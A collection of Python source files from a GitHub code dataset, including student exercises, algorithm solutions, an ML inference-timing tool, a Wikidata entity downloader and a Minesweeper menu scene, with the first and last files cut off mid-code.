  (x_high,y_high,highest_value)=neighbours_ini[0]\n\n            while (highest_value > lowest_value):\n                temp=record+neighbours_ini\n                temp=sorted(temp, key=itemgetter(2), reverse=True)\n                for k in range(0,beam_width):\n                    (x1,y1,value1)=temp[k]\n                    record[k]=(x1,y1,value1)\n                (x_low,y_low,lowest_value)=record[beam_width-1]\n                neighbor_temp = neighbours(record,StepSize,function,beam_width)\n                neighbours_ini=sorted(neighbor_temp, key=itemgetter(2), reverse=True);\n                (x_high,y_high,highest_value)=neighbours_ini[0]\n                index=index+1\n\n            (x2,y2,value2)=record[0]\n            summation += index\n            mean+=value2\n            sq_mean+=pow(value2,2)\n            sq_sum +=pow(index,2) \n\n        conv_mean=summation/100\n        result_mean=mean/100\n        result_std=math.sqrt((100*sq_mean-pow(mean,2))/(100*99))\n        conv_std=math.sqrt((100*sq_sum-pow(summation,2))/(100*99))\n        print(\"Step:\",summation,\"Beam Width:\",beam_width,\"Convergence mean:\",conv_mean,\"Result mean:\",result_mean,\"Convergence standard deviation:\",conv_std,\"Result standard deviation:\", result_std)\n \n\nprint(\"Result for function 1\")\nBeamSearch(f1,0.01)\nprint(\"-----------\")\nprint(\"Result for function 2\")\nBeamSearch(f2,0.01)\n\n\n\n","repo_name":"yue51/HillClimbing-Beam-search","sub_path":"BeamSearch.py","file_name":"BeamSearch.py","file_ext":"py","file_size_in_byte":3188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15495835409","text":"\"\"\"\nCrie um programa que leia duas notas de um aluno e calcule sua média, mostrando\num mensagem no final, de acordo com a média atingida:\n- Média abaixo de 5.0: Reprovado\n- Média entre 5.0 e 6.9: Recuperação\n- Média acima de 7.0: Aprovado\n\"\"\"\n\nn1 = int(input('Nota 1: '))\nn2 = int(input('Nota 2: '))\nmedia = float((n1 + n2)/2)\nprint(f'A média de {n1} e {n2} é {media}')\nif media < 5.0:\n    print('Reprovado')\nelif media >= 5.0 and media < 7:\n    print('Recuperação')\nelse:\n    print('Aprovado')","repo_name":"WhoisBsa/Curso-de-Python","sub_path":"2 - Estruturas de Controle/desafio 40, media.py","file_name":"desafio 40, media.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"19892591822","text":"#!/usr/bin/python3.7\n# -*- coding: utf-8 -*-\n# @Time    : 2020/11/19 22:59\n# @Author  : dly\n# @File    : 239.py\n# @Desc    :\n\nimport collections\n\n\n# 滑动窗口最大值\n# 降序最大栈\nclass Solution(object):\n    def maxSlidingWindow(self, nums, k):\n        \"\"\"\n        :type nums: List[int]\n        :type k: int\n        :rtype: List[int]\n        \"\"\"\n        if len(nums) <= 1:\n            return nums\n        queue = collections.deque()\n\n        for i in range(k):\n            while queue and queue[-1] < nums[i]:\n                queue.pop()\n            queue.append(nums[i])\n\n        res = [queue[0]]\n\n        for j in range(k, len(nums)):\n            if queue[0] == nums[j - k]:\n                queue.popleft()\n            while queue and queue[-1] < nums[j]:\n                queue.pop()\n\n            queue.append(nums[j])\n            res.append(queue[0])\n\n        return res\n","repo_name":"Dooooooooo21/leetcode","sub_path":"hot/239.py","file_name":"239.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22462946001","text":"import argparse\n\nimport numpy as np\nimport torch\nimport tqdm\nfrom mmcv.parallel import scatter_kwargs\nfrom torch.backends import cudnn\n\nfrom easycv.datasets.builder import build_dataset\nfrom easycv.datasets.loader import build_dataloader\nfrom easycv.models.builder import build_model\nfrom easycv.utils.config_tools import mmcv_config_fromfile\nfrom easycv.utils.mmlab_utils import dynamic_adapt_for_mmlab\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description='EasyCV model memory and inference_time test')\n    parser.add_argument('config', help='test config file path')\n    parser.add_argument(\n        '--repeat_num', default=300, type=int, help='repeat number')\n    parser.add_argument(\n        '--warmup_num', default=100, type=int, help='warm up number')\n    parser.add_argument(\n        '--gpu',\n        default='0',\n        type=str,\n        choices=['0', '1', '2', '3', '4', '5', '6', '7'])\n\n    args = parser.parse_args()\n    return args\n\n\ndef main():\n    cudnn.benchmark = True\n\n    args = parse_args()\n\n    cfg = mmcv_config_fromfile(args.config)\n\n    # dynamic adapt mmdet models\n    dynamic_adapt_for_mmlab(cfg)\n\n    device = torch.device('cuda:{}'.format(args.gpu))\n    model = build_model(cfg.model).to(device)\n    model.eval()\n\n    cfg.data.val.pop('imgs_per_gpu', None)  # pop useless params\n    dataset = build_dataset(cfg.data.val)\n    data_loader = build_dataloader(\n        dataset,\n        imgs_per_gpu=1,\n        workers_per_gpu=0,\n    )\n\n    # Set up cuda events for measuring time. This is PyTorch's official recommended interface and should theoretically be the most reliable.\n    starter = torch.cuda.Event(enable_timing=True)\n    ender = torch.cuda.Event(enable_timing=True)\n    # Initialize a time container.\n    timings = np.zeros((args.repeat_num, 1))\n\n    with torch.no_grad():\n        for idx, data in zip(tqdm.trange(args.repeat_num), data_loader):\n            _, kwargs = scatter_kwargs(None, data, [int(args.gpu)])\n            inputs = kwargs[0]\n            inputs.update(dict(mode='test'))\n            # GPU may be hibernated to save energy at ordinary times, so it needs to be preheated.\n            if idx < args.warmup_num:\n                if idx == 0:\n                    print('Start warm up ...')\n                _ = model(**inputs)\n                continue\n\n            if idx == args.warmup_num:\n                print('Warm up end, start to record time...')\n\n            starter.record()\n            _ = model(**inputs)\n            ender.record()\n            torch.cuda.synchronize()  # Wait for the GPU task to complete.\n            curr_time = starter.elapsed_time(\n                ender)  # The time between starter and ender, in milliseconds.\n            timings[idx] = curr_time\n\n    avg = timings.sum() / args.repeat_num\n    print('Cuda memory: {}'.format(torch.cuda.memory_summary(device)))\n    print('\\ninference average time={}ms\\n'.format(avg))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"alibaba/EasyCV","sub_path":"tools/analyze_tools/measure_inference_time.py","file_name":"measure_inference_time.py","file_ext":"py","file_size_in_byte":2962,"program_lang":"python","lang":"en","doc_type":"code","stars":1565,"dataset":"github-code","pt":"60"}
+{"seq_id":"1608831292","text":"import os\nimport sys\nimport time\nimport json\nfrom pathlib import Path\nfrom SPARQLWrapper import SPARQLWrapper, JSON\n\nROOT_PATH = Path(os.path.dirname(__file__))\n\nTYPES = {\n    \"Q34038\": \"Waterfall\",\n    \"Q23413\": \"Castle\",\n    \"Q751876\": \"Chateau\",\n    \"Q16560\": \"Palace\",\n    \"Q174782\": \"Square\",\n    \"Q16970\": \"Church Building\",\n    \"Q44613\": \"Monastery\",\n    \"Q317557\": \"Parish Church\",\n    \"Q2977\": \"Cathedral\",\n    \"Q108325\": \"Chapel\",\n    \"Q1088552\": \"Catholic Church Building\",\n    \"Q56242215\": \"Catholic Cathedral\",\n    \"Q2031836\": \"Eastern Orthodox Church\",\n    \"Q34627\": \"Synagogue\",\n    \"Q5393308\": \"Buddhist Temple\",\n    \"Q845945\": \"Shinto Shrine\",\n    \"Q32815\": \"Mosque\",\n    \"Q11303\": \"Skyscraper\",\n    \"Q12518\": \"Tower\",\n    \"Q570116\": \"Tourist Attraction\",\n    \"Q41176\": \"Building\",\n    \"Q1497375\": \"Architectural Ensemble\",\n    \"Q811979\": \"Architectural Structure\",\n    \"Q4989906\": \"Monument\",\n    \"Q5003624\": \"Memorial\",\n    \"Q575759\": \"War Memorial\",\n    \"Q162875\": \"Mausoleum\",\n    \"Q1081138\": \"Historic site\",\n    \"Q839954\": \"Archaeological Site\",\n    \"Q17715832\": \"Castle Ruin\",\n    \"Q12280\": \"Bridge\",\n    \"Q33506\": \"Museum\",\n    \"Q207694\": \"Art Museum\",\n    \"Q17431399\": \"National Museum\",\n    \"Q2772772\": \"Military Museum\"\n}\n\nQUERY_TEMPLATE = \"\"\"\n    SELECT DISTINCT ?item ?itemLabel ?image ?coords ?commons ?enwikipedia\n    WHERE\n    {\n    ?item wdt:P31 wd:WDID .\n    ?item wdt:P18 ?image .\n    ?item wdt:P625 ?coords .\n    SERVICE wikibase:label { bd:serviceParam wikibase:language \"[AUTO_LANGUAGE],en\" . }\n    OPTIONAL { ?item wdt:P373 ?commons . ?enwikipedia schema:isPartOf <https://en.wikipedia.org/>; schema:about ?item . }\n    }\n    \"\"\"\n\ndef get_results(query):\n    endpoint_url = \"https://query.wikidata.org/sparql\"\n    # user_agent = \"WDQS-example Python/%s.%s\" % (sys.version_info[0], sys.version_info[1])\n    user_agent = 'Myy User Agent 1.0'\n    # TODO adjust user agent; see https://w.wiki/CX6\n    sparql = SPARQLWrapper(endpoint_url, agent=user_agent)\n    sparql.setQuery(query)\n    sparql.setReturnFormat(JSON)\n    return sparql.query().convert()\n\ndef parse_wikidata_coords(coords):\n    lng, lat = coords.split('Point(')[1].split(' ')\n    lat = lat.replace(')', '')\n\n    return [lat, lng]\n\nentities = []\nseen_ids = set()\nstart = time.perf_counter()\nfor i, ent_class in enumerate(list(TYPES.keys())):\n    try:\n        results = get_results(QUERY_TEMPLATE.replace('WDID', ent_class))\n\n        if len(results[\"results\"][\"bindings\"]) == 0:\n            print(f'No results for class: {ent_class}')\n            continue\n\n        for result in results[\"results\"][\"bindings\"]:\n            id = result['item']['value'].split('/')[-1]\n            if id in seen_ids or 'Point' not in result['coords']['value']:\n                continue\n            entities.append({\n                'id': id,\n                'label': result['itemLabel']['value'],\n                'entity_uri': result['item']['value'],\n                'coordinates': parse_wikidata_coords(result['coords']['value']),\n                'image_url': result['image']['value'],\n                'wikipedia_page': result['enwikipedia']['value'] if 'enwikipedia' in result else '', # 'https://en.wikipedia.org/wiki/Main_Page',\n                'wikimedia_commons': f\"https://commons.wikimedia.org/wiki/Category:{result['commons']['value'].replace(' ', '_')}\" if 'commons' in result else '', # 'https://commons.wikimedia.org/wiki/Main_Page'\n                'type_id': ent_class,\n                'type': TYPES[ent_class],\n            })\n            seen_ids.add(id)\n    except Exception as e:\n        print(f'====> Could not get results for item {ent_class}')\n        print(str(e))\n        continue\n    toc = time.perf_counter()\n    print(f'====> Finished id {ent_class} -- {((i+1)/len(list(TYPES.keys())))*100:.2f}% -- {toc - start:0.2f}s')\nend = time.perf_counter()\n\ndef chunk_list(seq, num=10):\n    avg = len(seq) / float(num)\n    out = []\n    last = 0.0\n\n    while last < len(seq):\n        out.append(seq[int(last):int(last + avg)])\n        last += avg\n\n    return out\n\nchunked_entities = chunk_list(entities)\n\nentites_path = ROOT_PATH / 'entities'\n\nfor i, chunk_data in enumerate(chunked_entities):\n    chunk_path = f'{entites_path}/entities_{i+1}.json'\n    with open(chunk_path, 'w') as json_file:\n        json.dump(chunk_data, json_file, ensure_ascii=False, indent=4)\n\nwith open(f'{ROOT_PATH}/cached_entities.json', 'w') as json_file:\n    json.dump(entities, json_file, ensure_ascii=False, indent=4)\n\nprint(f'------------------------------------------------------')\nprint(f'Total time to extarct MLM entities: {end - start:0.4f}')\nprint(f'Numner of unique entities: {len(entities)}')\nprint(f'------------------------------------------------------')","repo_name":"cleopatra-itn/GeoWINE","sub_path":"api/scripts/1_download_entities.py","file_name":"1_download_entities.py","file_ext":"py","file_size_in_byte":4738,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"40131162065","text":"#importing required packages\nimport json\nimport random\n#s1 solver searches through the existing plans in the memory and returns cases - plan and goal\ndef s1Solver(domain, problem,json_path):\n\n    memory_file = open(json_path)\n\n    data = json.load(memory_file)\n    if ('cases' not in data.keys()) or (len(data['cases']) == 0):\n        index = 0\n    else:\n        index = max( [int(k) for k in data['cases'].keys()] )\n\n\n    maxLength = 0\n    problem_plan = \"\"\n    if index == 0:\n        return 0\n    else:\n        for i in range(1,index+1):\n            if data['cases'][str(i)]['problem_name'] == problem and data['cases'][str(i)]['domain_name'] == domain:\n                temp = max(maxLength, len( data['cases'][str(i)]['plan'] ))\n                if temp != maxLength:\n                    maxLength = temp\n                    problem_plan = ';'.join(data['cases'][str(i)]['plan'])\n\n        return problem_plan\n\ndef randomSolve(data):\n    tot_cases = len(data)\n    if tot_cases > 1:\n        key = random.randrange(1,tot_cases)\n        return 1,data[str(key)]['plan']\n    else:\n        return 0,[\"\"]\n","repo_name":"FrancescoFabiano/SOFAI-x-Planning","sub_path":"Planners/CaseBasedS1/caseBased_s1_solver.py","file_name":"caseBased_s1_solver.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"16305694790","text":"#!/usr/bin/python3\n\n'''\nGerar uma quantidade de numero na sequencia de Fibonacci\n'''\ndef fibonacci(quantidade):\n    resultado = [0, 1]\n    while True:\n        resultado.append(resultado[-2] + resultado[-1])\n        if len(resultado) == quantidade:\n            break\n    return resultado\n\nif __name__ == '__main__':\n    for fib in fibonacci(10):\n        print(fib)","repo_name":"douglasfreire/aprendizagem_python","sub_path":"estrutura_controle_projetos/fibonacci_v5.py","file_name":"fibonacci_v5.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31472339805","text":"import os\nimport json\n\n\ndef merge_info(new_info, info_save_path = None, prev_info = None):\n    ''' merge `new_info` with previous info and return the updated info. This method is used in two cases: \n\n    1. before save `new_info` to `info_save_path`, we need to check if the `info_save_path` is an existing file. If `info_save_path`\n    exists, this method will help merge the previous info saved in `info_save_path` for a incrementally storage and avoid information\n    loss. In this case, params `new_info` and `info_save_path` are needed.\n\n    2. extend the dictionary of `prev_info` with `new_info`. In this case, params `new_info` and `prev_info` are needed.\n    \n    @params\n    \n    new_info (dict): new information\n    \n    info_save_path (str): the path to save the new info. We need to check if the path is empty and mantain the previous info\n        in `info_save_path`.\n    \n    prev_info (dict): the previous information\n    '''\n    if (info_save_path == None and prev_info == None) or (info_save_path != None and prev_info != None):\n        raise ValueError(\"One and only one params of `info_save_path` and `prev_info` is needed.\")\n\n    if info_save_path != None and os.path.isfile(info_save_path):\n        with open(info_save_path, 'r') as fp:\n            prev_info = json.load(fp)\n\n    if prev_info == None:\n        return new_info\n\n    if isinstance(prev_info, str):\n        with open(prev_info, 'r') as fp:\n            prev_info = json.load(fp)\n    if isinstance(new_info, str):\n        with open(new_info, 'r') as fp:\n            new_info = json.load(fp)\n\n    for module_key in new_info.keys():\n        if module_key in prev_info:\n            prev_info[module_key].update(new_info[module_key])\n        else:\n            prev_info[module_key] = new_info[module_key]\n    return prev_info\n\n\ndef save_profiled_results(models, save_path, detail, metrics = [\"latency\"]):\n    new_models = merge_info(new_info=models, info_save_path=save_path)\n    from .backend_meta.utils import dump_profiled_results\n    with open(save_path, 'w') as fp:\n        json.dump(dump_profiled_results(new_models, detail=detail, metrics=metrics), fp, indent=4)\n\n\ndef handle_timeout(sig, frame):\n    raise TimeoutError('Model profiling took too long (longer than the time threshold in the funciton `nn_meter.builder.profile_models`, default to be 300s)')\n","repo_name":"microsoft/nn-Meter","sub_path":"nn_meter/builder/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","stars":298,"dataset":"github-code","pt":"60"}
+{"seq_id":"26428700186","text":"__author__ = 'Tom Stanley'\nVALUE_MIN = 33\nVALUE_MAX = 127\nuser_character = str(input(\"Enter a character: \"))\nprint(\"The ASCII code for {} is {}.\".format(user_character, ord(user_character)))\nuser_number = int(input(\"Enter a number between {} and {}: \".format(VALUE_MIN, VALUE_MAX)))\nwhile user_number < VALUE_MIN or user_number > VALUE_MAX:\n    print(\"Please choose a number between {} and {}: \".format(VALUE_MIN, VALUE_MAX))\n    user_number = int(input(\"Enter a number between {} and {}: \".format(VALUE_MIN, VALUE_MAX)))\nelse:\n    print('The character for {} is {}'.format(user_number, chr(user_number)))\nfor i in range(33, 127):\n    print(\"{:>3} {:>2}\".format(i, chr(i)))\n","repo_name":"TomStanley95/Practicals","sub_path":"Prac02/asciiTable.py","file_name":"asciiTable.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41691302890","text":"#1. keys()\nFood={\n\"carbohydrates\":\"Rice, Yam, Wheat\",\n\"Proteins\" : \"Beans,Fish,Eggs\",\n\"water\":\"water\",\n}\nMyKeys=Food.keys()\nprint(MyKeys)\n\n#2. Pop()\nAnimals={\n\"pets\":\"Dogs,Cats\",\n\"security\":\"Dogs\",\n\"beef\":\"cow,sheep,ram\",\n\"dairy\":\"Cow,Goat\",\n}\nMyAnimals=Animals.pop(\"dairy\")\nprint(MyAnimals)\n\n#3. clear()\nStudentInfo={\n\"FirstName\":\"Mira\",\n\"Surname\": \"Ayoade\",\n\"Age\":\"20\",\n\"Course\":\"Geophysics\",\n\"Degree\":\"Bsc\"\n}\nSubmit=StudentInfo.clear()\nprint(Submit)\n\n#4. copy()\nstudentscore={\"Jambscore\":\"270\"}\nduplicate=studentscore.copy()\nprint(duplicate)\n\n#5. fromkeys()\nfirstname=(\"Ayo\",\"Ade\")\nsurname=\"Mamood\"\nfam=dict.fromkeys(firstname,surname)\nprint(fam)\n\n#6. items()\nstudentinformation={\n\"studentname\": \"Ayo\",\n\"surname\":\"Mide\",\n\"school\":\"Lasu\",\n\"faculty\":\"Education\",\n\n}\nrint=studentinformation.items()\nprint(rint)\n\n#7. get()\nselectedAnimals={\n\"pet\":\"dogs\",\n\"sport\":\"horse\",\n\"beef\":\"cow\",\n}\nfind=selectedAnimals.get(\"beef\")\nprint(find)\n\n#8. popitem()\nlookalike={\n\"Dragon\":\"Dinosaurs\",\n\"Tiger\":\":Leopard\",\n\"Crocodile\": \"Alligator\",\n}\nlookalike.popitem()\nprint(lookalike)\n\n#9. values()\nstudentresults={\n    \"mide\":\"45\",\n    \"Rasaq\": \"95\",\n    \"Mimi\":\"80\",\n    \"Ada\":\"80\",\n    \"Donald\":\"60\"\n    }\nstudentresults.values()\nprint(studentresults)\n\n#10. updates()\nnewrelease={\n\"mide\":\"45\",\n    \"Rasaq\": \"95\",\n    \"Mimi\":\"80\",\n    \"Ada\":\"80\",\n    \"Donald\":\"60\",\n}\nnewrelease.update({\"Lawrence\": \"89\"})\nprint(newrelease)","repo_name":"Liah-web/Linar-Classes","sub_path":"Assignments/Dictionary_methods.py","file_name":"Dictionary_methods.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12545838750","text":"\"\"\"\n\n\"\"\"\nimport os\nimport sys\n\nimport numpy  as np\nimport pandas as pd\n\nimport basicFunctions as bf\n\n\nclass ExerciseSolver():\n    def __init__(self, books=[\"SEA\", \"STEA\"], dataFrame=pd.DataFrame(), \n                 solved_file=\"../problems/variables_solved.csv\", latex_header=\"latex_{}\", \n                 units_header=\"units\", variable_header=\"ch_pr_var\", parent=None):\n        self.books           = books\n        self.df              = dataFrame\n        self.latex_header    = latex_header\n        self.saved           = False\n        self.solved          = False\n        self.solved_file     = solved_file\n        self.units_header    = units_header\n        self.variable_header = variable_header\n        \n    def solve_exercises(self):\n        \"\"\"\n        Solves for unknown variables in the dataframe by applying fixed solution.\n\n        Returns\n        -------\n        None.\n\n        \"\"\"\n        feedback = \"Exercises already solved.\"\n        if not self.solved:\n            feedback = \"Exercises solved.\"\n            for book in self.books:\n                self.solve(book)\n                self.format_for_latex(book)\n            \n        self.solved = True\n        return self.df, feedback\n        \n    def get_value(self, variable, book):\n        \"\"\"\n        Gets the value of the variable from the CSV file.\n\n        Parameters\n        ----------\n        variable : string\n            The variable to return. Must match the CSV file.\n            \n        book : string\n            From which book ('SEA', or 'STEA') the value should be returned.\n\n        Returns\n        -------\n        The value of the variable.\n\n        \"\"\"\n        return self.df[self.df[self.variable_header] == variable][book].iloc[0]\n    \n    def set_value(self, variable, book, value):\n        \"\"\"\n        Sets the value of calculated variables in the pandas DataFrame.\n\n        Parameters\n        ----------\n        variable : string\n            The variable to set. Must match the CSV file.\n            \n        book : string\n            For which book ('SEA', or 'STEA') the value should be set.\n            \n        value : numeric (int, float)\n            The value to set.\n\n        Returns\n        -------\n        None.\n\n        \"\"\"\n        self.df.loc[self.df[self.variable_header] == variable, book] = value\n    \n    def solve(self, book):\n        \"\"\"\n        Tediously written-out solutions.\n\n        Parameters\n        ----------\n        book : string\n            Either \"SEA\" or \"STEA\", to whichever book the solution corresponds.\n\n        Returns\n        -------\n        None.\n        \n        \"\"\"\n        \n        \"\"\"08_01\n        \n        P = P/F, i, n\n        \"\"\"\n        F = self.get_value(\"08-01-F\", book)\n        i = self.get_value(\"08-01-i\", book)\n        n = self.get_value(\"08-01-n\", book)\n        # factor = ?\n        self.set_value(\"08-01-P\", book, bf.find_P_given_F(F, i, n))\n        \n        \"\"\"08_02a\n        \n        F = F/P, i, n\n        \"\"\"\n        \n        \"\"\"08_02b\n        \n        F = F/P, i, n\n        \"\"\"\n        \n    def format_for_latex(self, book):\n        self.df[self.latex_header.format(book)] = self.df.apply(lambda row: self.format_value_with_units(book, row), axis=1)\n        \n    def format_value_with_units(self, book, row):\n        \"\"\"\n        Formats the variable with units.\n        \n        Parameters\n        ----------\n        value : numeric\n            Variable value.\n        units : string\n            Variable units.\n\n        Returns\n        -------\n        string\n            The variable, formatted with appropriate units.\n        \"\"\"\n        units = row[self.units_header]\n        value = row[book]\n        \n        if isinstance(units, float) and np.isnan(units):\n            return value\n        \n        elif units == \"$\":\n            return \"\\${:,.2f}\".format(value)\n        \n        elif units == \"%\":\n            return \"{:.2f}\\%\".format(100 * value)\n        \n        elif units[0] == \"n\":\n            return \"{:g} {}\".format(value, units[2:])\n        \n        else:\n            return value\n        \n        \n    def save(self):\n        \"\"\"\n        Saves the dataframe to the self.solved_file.\n\n        Returns\n        -------\n        None.\n\n        \"\"\"\n        if self.saved:\n            return \"Solved CSV already saved.\"\n        \n        self.saved = True\n        self.df.to_csv(self.solved_file, index=False)\n        return \"Solved CSV file saved.\"\n        \n            \nif __name__ == \"__main__\":\n    #SE = ExerciseSolver(sys.argv[0])\n    print(\"HEY\\nJUST\\nMAKING\\nSURE\\nNOPRINT\")\n    ### For testing\n    this_directory = os.path.dirname(os.path.realpath(__file__))\n    var_csv_path   = os.path.join(this_directory, \"..\", \"problems\", \"variables.csv\")\n    SE = ExerciseSolver(dataFrame=pd.read_csv(var_csv_path))\n    ###\n    \n    SE.solve_exercises()\n","repo_name":"zdmiller12/stea","sub_path":"python/exerciseSolver.py","file_name":"exerciseSolver.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"75093924670","text":"import os\nimport SceneManager as sm\n\nfrom Scene import Scene\nfrom Utility import Flow, Direction, Action\nfrom UIElements import Button, Popup\n\nclass MenuScene(Scene):\n\t\"\"\"\n\tThe menu scene provides controls to allow the player to navigate the\n\tmain menu. In the main menu, the player can start a new game,\n\tcontinue an existing game, delete a saved game, and see controls.\n\t\"\"\"\n\tdef __init__(self, game):\n\t\t\"\"\"\n\t\tConstructs an instance of MenuScene and returns it.\n\t\t\n\t\tgame: the game class.\n\t\t\"\"\"\n\t\t# The game this scene belongs to.\n\t\tself.game = game\n\t\t\n\t\t# The first hovered command.\n\t\tself.first_command = \"m\"\n\t\t\n\t\t# The graphics class.\n\t\tself.graphics = game.graphics\n\t\t\n\t\t# The list of drawn Buttons.\n\t\tself.buttons = []\n\t\t\n\t\t# The index of the selected Button.\n\t\tself.select = None\n\t\t\n\t\t# True if there's a saved game.\n\t\tself.has_save = os.path.exists(self.game.SAVE_FILE)\n\t\t\n\t\t# Map of commands to functions.\n\t\tself.commands = {\n\t\t\t\"q\": self.quit,\n\t\t\t\"w\": lambda amt=1: self.move_cursor(Direction.UP, amt),\n\t\t\t\"a\": lambda amt=1: self.move_cursor(Direction.LEFT, amt),\n\t\t\t\"s\": lambda amt=1: self.move_cursor(Direction.DOWN, amt),\n\t\t\t\"d\": lambda amt=1: self.move_cursor(Direction.RIGHT, amt),\n\t\t\t\"m\": self.click\n\t\t}\n\t\t\n\t\t# Initialize Buttons.\n\t\tx, _, _ = self.graphics.center_justify(0, \"Delete Save\")\n\t\t\n\t\tcolor_options = (0, self.graphics.HIGHLIGHT, self.graphics.DIM)\n\t\tcontinue_b = Button(x, 13, \"Continue\", *color_options)\n\t\tnew_game_b = Button(x, 14, \"New Game\", *color_options)\n\t\tdel_save_b = Button(x, 15, \"Delete Save\", *color_options)\n\t\t\n\t\tcontinue_b.set_action(self.continue_game)\n\t\tnew_game_b.set_action(self.new_game)\n\t\tdel_save_b.set_action(self.delete_game)\n\t\tself.buttons = [continue_b, new_game_b, del_save_b]\n\t\t\n\t\tif not self.has_save:\n\t\t\tcontinue_b.set_enabled(False)\n\t\t\tdel_save_b.set_enabled(False)\n\t\t\tself.select = 1\n\t\telse:\n\t\t\tself.select = 0\n\t\t\n\t\tself.buttons[self.select].set_hovered(True)\n\t\n\tdef quit(self):\n\t\t\"\"\"Stops the game loop.\"\"\"\n\t\treturn Flow.BREAK\n\t\n\tdef move_cursor(self, dir, amount):\n\t\t\"\"\"\n\t\tTakes a direction and move amount and moves the cursor. Returns\n\t\ta Flow.\n\t\t\n\t\tdir: the Direction to move.\n\t\tamount: the amount to move in the given Direction.\n\t\treturn: a Flow.\n\t\t\"\"\"\n\t\tif dir is Direction.UP:\n\t\t\tamount *= -1\n\t\t\tself.game.last_valid_command = \"w\"\n\t\telif dir is Direction.LEFT:\n\t\t\tamount *= -1\n\t\t\tself.game.last_valid_command = \"a\"\n\t\telif dir is Direction.DOWN:\n\t\t\tself.game.last_valid_command = \"s\"\n\t\telif dir is Direction.RIGHT:\n\t\t\tself.game.last_valid_command = \"d\"\n\t\t\n\t\tbs = self.buttons\n\t\tindices = range(len(bs))\n\t\tenabled_b_i = [i for i in indices if bs[i].is_enabled()]\n\t\tcurrent = enabled_b_i.index(self.select)\n\t\tnext = enabled_b_i[(current + amount) % len(enabled_b_i)]\n\t\t\n\t\tbs[current].set_hovered(False)\n\t\tbs[next].set_hovered(True)\n\t\tself.select = next\n\t\t\n\t\treturn Flow.PASS\n\t\n\tdef click(self):\n\t\t\"\"\"Clicks the selected Button and returns a Flow.\"\"\"\n\t\treturn self.buttons[self.select].click()\n\t\n\tdef continue_game(self):\n\t\t\"\"\"\n\t\tProvides functionality to the continue Button and returns a\n\t\tFlow.\n\t\t\"\"\"\n\t\tself.game.last_valid_command = \"m\"\n\t\treturn Flow.PASS\n\t\n\tdef new_game(self):\n\t\t\"\"\"\n\t\tProvides functionality to the new game Button and returns a\n\t\tFlow. Flow.RETURN is returned to reach NewGameScene. Flow.PASS\n\t\tis returned to remain on the MenuScene.\n\t\t\"\"\"\n\t\tself.game.last_valid_command = \"m\"\n\t\tif self.has_save:\n\t\t\tmsg = (\n\t\t\t\t\"You are about to override your save file with a new \"\n\t\t\t\t\"game. Do you want to proceed?\"\n\t\t\t)\n\t\t\tpopup = Popup(self, \"OVERRIDE  SAVE\", msg)\n\t\t\tif popup.query():\n\t\t\t\tself.game.change_scene(sm.mk_NewGameScene(self.game))\n\t\t\t\treturn Flow.RETURN\n\t\telse:\n\t\t\tself.game.change_scene(sm.mk_NewGameScene(self.game))\n\t\t\treturn Flow.RETURN\n\t\treturn Flow.PASS\n\t\n\tdef delete_game(self):\n\t\t\"\"\"\n\t\tProvides functionality to the delete game Button and returns a\n\t\tFlow.\n\t\t\"\"\"\n\t\tself.game.last_valid_command = \"m\"\n\t\tmsg = (\n\t\t\t\"You are about to delete your saved game. Do you want to \"\n\t\t\t\"proceed?\"\n\t\t)\n\t\tpopup = Popup(self, \"DELETE  SAVE\", msg)\n\t\tif popup.query():\n\t\t\tos.remove(self.game.SAVE_FILE)\n\t\t\t\n\t\t\t# Reconfigure Buttons.\n\t\t\tself.buttons[0].set_enabled(False)\n\t\t\tself.buttons[1].set_hovered(True)\n\t\t\tself.buttons[2].set_hovered(False)\n\t\t\tself.buttons[2].set_enabled(False)\n\t\t\tself.select = 1\n\t\t\tself.has_save = False\n\t\treturn Flow.PASS\n\t\n\tdef parse(self, input):\n\t\t\"\"\"\n\t\tParses input and returns an Action.\n\t\t\n\t\tinput: the user input.\n\t\treturn: an Action.\n\t\t\"\"\"\n\t\ttry:\n\t\t\tamt = int(input)\n\t\t\treturn Action(self.game.last_valid_command, (amt,))\n\t\texcept ValueError:\n\t\t\treturn Action(input)\n\t\n\tdef act(self, action):\n\t\t\"\"\"\n\t\tResponds to parsed input with side effects and returns Flow.\n\t\t\n\t\taction: the Action to perform.\n\t\treturn: a Flow.\n\t\t\"\"\"\n\t\tcommand = self.commands.get(action.primary, None)\n\t\tif command is not None:\n\t\t\ttry:\n\t\t\t\treturn command(*action.secondary)\n\t\t\texcept TypeError:\n\t\t\t\treturn Flow.PASS\n\t\treturn Flow.PASS\n\t\n\tdef draw(self):\n\t\t\"\"\"Draws the main menu and selection options.\"\"\"\n\t\tg = self.graphics\n\t\tg.clear()\n\t\t\n\t\t# Draw the MINESWEEPER banner.\n\t\tself.draw_title()\n\t\t\n\t\t# Draw the Buttons.\t\t\n\t\tfor button in self.buttons:\n\t\t\tbuffer = button.to_tuple()\n\t\t\tfor piece in buffer:\n\t\t\t\tg.draw(*piece)\n\t\t\n\t\t# Draw the info box.\n\t\tself.draw_info()\n\t\t\n\t\t# Draw controls.\n\t\tg.draw(0, g.HEIGHT-3, \"_\"*g.LENGTH)\n\t\tg.draw(1, g.HEIGHT-2, \"wasd: Move | m: Select | q: 